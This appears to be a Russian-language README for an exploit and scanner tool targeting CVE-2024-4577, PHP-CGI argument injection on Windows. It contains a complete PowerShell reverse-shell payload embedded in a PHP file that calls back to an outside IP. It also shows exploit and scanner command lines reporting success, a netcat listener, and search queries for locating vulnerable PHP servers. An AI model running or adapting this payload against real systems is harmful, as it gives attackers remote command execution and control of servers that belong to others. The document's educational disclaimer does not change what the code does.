
PoC - PHP CGI Argument Injection CVE-2024-4577 (Сканер и эксплойт)
В PHP версиях 8.1.* до 8.1.29, 8.2.* до 8.2.20, 8.3.* до 8.3.8 при использовании Apache и PHP-CGI на Windows, если в системе настроены определённые кодовые страницы, Windows может применять поведение "Best-Fit" для замены символов в командной строке, передаваемой функциям Win32 API. Модуль PHP CGI может неверно интерпретировать эти символы как опции PHP, что может позволить злоумышленнику передавать опции исполняемому бинарному файлу PHP и таким образом раскрывать исходный код скриптов, выполнять произвольный PHP-код на сервере и т.д.
"XAMPP уязвим в конфигурации по умолчанию, и мы можем обращаться к конечной точке /php-cgi/php-cgi.exe. Чтобы обращаться к явной конечной точке .php (например, /index.php), сервер должен быть настроен на запуск PHP-скриптов в режиме CGI."
$ git clone https://github.com/l0n3m4n/CVE-2024-4577-RCE.git
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt

[!NOTE] Этот инструмент демонстрирует реалистичные атаки и техники (TTPs). Однако этот конкретный образец пейлоада не работает в данном сценарии. Измените shell.php, чтобы получить полностью рабочий пейлоад.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
_____ _____ _____ _____ _____ _____ _____ _ _
| _ | | | _ | | __| |___ ___ ___ ___| |___ |_|___ ___| |_
| __| | __| --| | |- -|___| .'| _| . |- -| | | | -_| _| _|
|__| |__|__|__| |_____|_____|_____| |__,|_| |_ |_____|_|_|_| |___|___|_|
|___| |___|
Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner
[+] Target https://target.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t http://example.com -e -p rev_shell.php
_____ _____ _____ _____ _____ _____ _____ _ _
| _ | | | _ | | __| |___ ___ ___ ___| |___ |_|___ ___| |_
| __| | __| --| | |- -|___| .'| _| . |- -| | | | -_| _| _|
|__| |__|__|__| |_____|_____|_____| |__,|_| |_ |_____|_|_|_| |___|___|_|
|___| |___|
Author: l0n3m4n | CVE-2024-4577 | PoC and Scanner
[+] Exploit successful!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"Этот инструмент предоставляется только в образовательных и исследовательских целях. Создатель не несёт ответственности за любое неправомерное использование или ущерб, причинённый инструментом. создать issue